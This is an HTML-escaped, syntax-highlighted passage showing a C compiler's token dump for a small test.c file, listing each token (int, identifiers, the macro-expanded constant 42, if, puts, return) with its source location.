&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;   Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;   [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;equal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;semi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;   Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;          Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;plus &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;         [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;equalequal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;Spelling&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;   Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;string_literal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;yes&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;          Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;semi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;   Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;   Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     [&lt;&#x2F;span&gt;&lt;span&gt;LeadingSpace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt; Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;semi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
